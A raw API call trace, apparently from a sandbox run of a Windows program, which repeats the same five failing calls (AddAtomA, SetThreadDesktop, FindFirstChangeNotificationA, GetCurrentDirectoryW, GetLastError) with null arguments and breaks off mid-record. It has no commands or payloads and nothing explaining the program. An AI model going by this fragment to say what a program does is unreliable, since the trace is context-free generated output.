AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.112] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.112] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.112] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.112] GetLastError () returned 0x3 [0042.112] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.113] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.113] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.113] GetLastError () returned 0x3 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] AddAtomA (lpString=0x0) returned 0x0 [0042.113] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] AddAtomA (lpString=0x0) returned 0x0 [0042.114] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.114] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.114] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.114] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.115] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.115] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.115] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.115] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.115] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.115] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.115] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.115] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.115] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.115] GetLastError () returned 0x3 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] AddAtomA (lpString=0x0) returned 0x0 [0042.115] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.115] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.116] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.116] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.116] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.116] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.116] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.116] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.116] GetLastError () returned 0x3 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] AddAtomA (lpString=0x0) returned 0x0 [0042.116] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.117] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.117] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.117] GetLastError () returned 0x3 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] AddAtomA (lpString=0x0) returned 0x0 [0042.117] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.118] GetLastError () returned 0x3 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] AddAtomA (lpString=0x0) returned 0x0 [0042.118] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.118] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.118] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.119] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.119] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.119] GetLastError () returned 0x3 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] AddAtomA (lpString=0x0) returned 0x0 [0042.119] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, 